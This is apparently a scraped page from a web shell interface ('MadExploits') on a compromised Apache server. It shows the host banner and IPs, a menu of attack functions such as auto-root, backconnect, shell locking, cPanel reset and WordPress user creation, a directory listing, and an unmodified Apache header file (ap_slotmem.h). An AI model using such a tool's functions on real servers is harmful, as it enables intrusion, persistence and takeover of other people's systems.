Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 18.119.159.212
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
include /
apache2 /
[ HOME SHELL ]
Name
Size
Permission
Action
.mmn
14
B
-rw-r--r--
ap_compat.h
1.05
KB
-rw-r--r--
ap_config.h
6.45
KB
-rw-r--r--
ap_config_auto.h
9.86
KB
-rw-r--r--
ap_config_layout.h
2.52
KB
-rw-r--r--
ap_expr.h
13.75
KB
-rw-r--r--
ap_hooks.h
5.85
KB
-rw-r--r--
ap_listen.h
5.69
KB
-rw-r--r--
ap_mmn.h
39.33
KB
-rw-r--r--
ap_mpm.h
10.51
KB
-rw-r--r--
ap_provider.h
3.45
KB
-rw-r--r--
ap_regex.h
11.14
KB
-rw-r--r--
ap_regkey.h
8.97
KB
-rw-r--r--
ap_release.h
3.07
KB
-rw-r--r--
ap_slotmem.h
7.07
KB
-rw-r--r--
ap_socache.h
9.18
KB
-rw-r--r--
apache_noprobes.h
15.59
KB
-rw-r--r--
cache_common.h
1.97
KB
-rw-r--r--
heartbeat.h
1.56
KB
-rw-r--r--
http_config.h
56.37
KB
-rw-r--r--
http_connection.h
6.97
KB
-rw-r--r--
http_core.h
36.4
KB
-rw-r--r--
http_log.h
36.01
KB
-rw-r--r--
http_main.h
3.17
KB
-rw-r--r--
http_protocol.h
41.41
KB
-rw-r--r--
http_request.h
25.72
KB
-rw-r--r--
http_ssl.h
14.62
KB
-rw-r--r--
http_vhost.h
4.49
KB
-rw-r--r--
httpd.h
94.51
KB
-rw-r--r--
mod_auth.h
4.42
KB
-rw-r--r--
mod_cache.h
7.09
KB
-rw-r--r--
mod_cgi.h
2.44
KB
-rw-r--r--
mod_core.h
3.33
KB
-rw-r--r--
mod_dav.h
97.69
KB
-rw-r--r--
mod_dbd.h
4.06
KB
-rw-r--r--
mod_http2.h
4.59
KB
-rw-r--r--
mod_include.h
3.89
KB
-rw-r--r--
mod_log_config.h
2.43
KB
-rw-r--r--
mod_proxy.h
65.8
KB
-rw-r--r--
mod_request.h
1.59
KB
-rw-r--r--
mod_rewrite.h
1.36
KB
-rw-r--r--
mod_session.h
6.61
KB
-rw-r--r--
mod_so.h
1.2
KB
-rw-r--r--
mod_ssl.h
4.87
KB
-rw-r--r--
mod_ssl_openssl.h
4.8
KB
-rw-r--r--
mod_status.h
2.38
KB
-rw-r--r--
mod_unixd.h
1.09
KB
-rw-r--r--
mod_watchdog.h
7.34
KB
-rw-r--r--
mod_xml2enc.h
2.25
KB
-rw-r--r--
mpm_common.h
16.92
KB
-rw-r--r--
os.h
1.63
KB
-rw-r--r--
scoreboard.h
9.81
KB
-rw-r--r--
unixd.h
4.14
KB
-rw-r--r--
util_cfgtree.h
3.08
KB
-rw-r--r--
util_charset.h
2.21
KB
-rw-r--r--
util_cookies.h
4.84
KB
-rw-r--r--
util_ebcdic.h
2.69
KB
-rw-r--r--
util_fcgi.h
9.75
KB
-rw-r--r--
util_filter.h
25.84
KB
-rw-r--r--
util_ldap.h
17.94
KB
-rw-r--r--
util_md5.h
2.12
KB
-rw-r--r--
util_mutex.h
9.07
KB
-rw-r--r--
util_script.h
9.63
KB
-rw-r--r--
util_time.h
4.1
KB
-rw-r--r--
util_varbuf.h
8.09
KB
-rw-r--r--
util_xml.h
1.31
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ap_slotmem.h
/* Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef SLOTMEM_H #define SLOTMEM_H /* Memory handler for a shared memory divided in slot. */ /** * @file ap_slotmem.h * @brief Memory Slot Extension Storage Module for Apache * * @defgroup MEM mem * @ingroup APACHE_MODS * @{ */ #include "httpd.h" #include "http_config.h" #include "http_log.h" #include "ap_provider.h" #include "apr.h" #include "apr_strings.h" #include "apr_pools.h" #include "apr_shm.h" #include "apr_global_mutex.h" #include "apr_file_io.h" #include "apr_md5.h" #if APR_HAVE_UNISTD_H #include <unistd.h> /* for getpid() */ #endif #ifdef __cplusplus extern "C" { #endif #define AP_SLOTMEM_PROVIDER_GROUP "slotmem" #define AP_SLOTMEM_PROVIDER_VERSION "0" typedef unsigned int ap_slotmem_type_t; /* * Values for ap_slotmem_type_t:: * * AP_SLOTMEM_TYPE_PERSIST: For transitory providers, persist * the data on the file-system * * AP_SLOTMEM_TYPE_NOTMPSAFE: * * AP_SLOTMEM_TYPE_PREALLOC: Access to slots require they be grabbed 1st * * AP_SLOTMEM_TYPE_CLEARINUSE: If persisting, clear 'inuse' array before * storing */ #define AP_SLOTMEM_TYPE_PERSIST (1 << 0) #define AP_SLOTMEM_TYPE_NOTMPSAFE (1 << 1) #define AP_SLOTMEM_TYPE_PREGRAB (1 << 2) #define AP_SLOTMEM_TYPE_CLEARINUSE (1 << 3) typedef struct ap_slotmem_instance_t ap_slotmem_instance_t; /** * callback function used for slotmem doall. * @param mem is the memory associated with a worker. * @param data is what is passed to slotmem. * @param pool is pool used * @return APR_SUCCESS if all went well */ typedef apr_status_t ap_slotmem_callback_fn_t(void* mem, void *data, apr_pool_t *pool); struct ap_slotmem_provider_t { /* * Name of the provider method */ const char *name; /** * call the callback on all worker slots * @param s ap_slotmem_instance_t to use. * @param funct callback function to call for each element. * @param data parameter for the callback function. * @param pool is pool used * @return APR_SUCCESS if all went well */ apr_status_t (* doall)(ap_slotmem_instance_t *s, ap_slotmem_callback_fn_t *func, void *data, apr_pool_t *pool); /** * create a new slotmem with each item size is item_size. * This would create shared memory, basically. * @param inst where to store pointer to slotmem * @param name a key used for debugging and in mod_status output or allow another process to share this space. * @param item_size size of each item * @param item_num number of item to create. * @param type type of slotmem. * @param pool is pool used * @return APR_SUCCESS if all went well */ apr_status_t (* create)(ap_slotmem_instance_t **inst, const char *name, apr_size_t item_size, unsigned int item_num, ap_slotmem_type_t type, apr_pool_t *pool); /** * attach to an existing slotmem. * This would attach to shared memory, basically. * @param inst where to store pointer to slotmem * @param name a key used for debugging and in mod_status output or allow another process to share this space. * @param item_size size of each item * @param item_num max number of item. * @param pool is pool to memory allocate. * @return APR_SUCCESS if all went well */ apr_status_t (* attach)(ap_slotmem_instance_t **inst, const char *name, apr_size_t *item_size, unsigned int *item_num, apr_pool_t *pool); /** * get the memory ptr associated with this worker slot. * @param s ap_slotmem_instance_t to use. * @param item_id item to return for 0 to item_num * @param mem address to store the pointer to the slot * @return APR_SUCCESS if all went well */ apr_status_t (* dptr)(ap_slotmem_instance_t *s, unsigned int item_id, void**mem); /** * get/read the data associated with this worker slot. * @param s ap_slotmem_instance_t to use. * @param item_id item to return for 0 to item_num * @param dest address to store the data * @param dest_len length of dataset to retrieve * @return APR_SUCCESS if all went well */ apr_status_t (* get)(ap_slotmem_instance_t *s, unsigned int item_id, unsigned char *dest, apr_size_t dest_len); /** * put/write the data associated with this worker slot. * @param s ap_slotmem_instance_t to use. * @param item_id item to return for 0 to item_num * @param src address of the data to store in the slot * @param src_len length of dataset to store in the slot * @return APR_SUCCESS if all went well */ apr_status_t (* put)(ap_slotmem_instance_t *slot, unsigned int item_id, unsigned char *src, apr_size_t src_len); /** * return number of slots allocated for this entry. * @param s ap_slotmem_instance_t to use. * @return number of slots */ unsigned int (* num_slots)(ap_slotmem_instance_t *s); /** * return number of free (not used) slots allocated for this entry. * Valid for slots which are AP_SLOTMEM_TYPE_PREGRAB as well as * any which use get/release. * @param s ap_slotmem_instance_t to use. * @return number of slots */ unsigned int (* num_free_slots)(ap_slotmem_instance_t *s); /** * return slot size allocated for this entry. * @param s ap_slotmem_instance_t to use. * @return size of slot */ apr_size_t (* slot_size)(ap_slotmem_instance_t *s); /** * grab (or alloc) a free slot * @param s ap_slotmem_instance_t to use. * @param item_id ptr to the available slot id and marked as in-use * @return APR_SUCCESS if all went well */ apr_status_t (* grab)(ap_slotmem_instance_t *s, unsigned int *item_id); /** * release (or free) the slot associated with this item_id * @param s ap_slotmem_instance_t to use. * @param item_id slot id to free and mark as no longer in-use * @return APR_SUCCESS if all went well */ apr_status_t (* release)(ap_slotmem_instance_t *s, unsigned int item_id); /** * forced grab (or alloc) a slot associated with this item_id * @param s ap_slotmem_instance_t to use. * @param item_id to the specified slot id and marked as in-use * @return APR_SUCCESS if all went well */ apr_status_t (* fgrab)(ap_slotmem_instance_t *s, unsigned int item_id); }; typedef struct ap_slotmem_provider_t ap_slotmem_provider_t; #ifdef __cplusplus } #endif #endif /** @} */
Close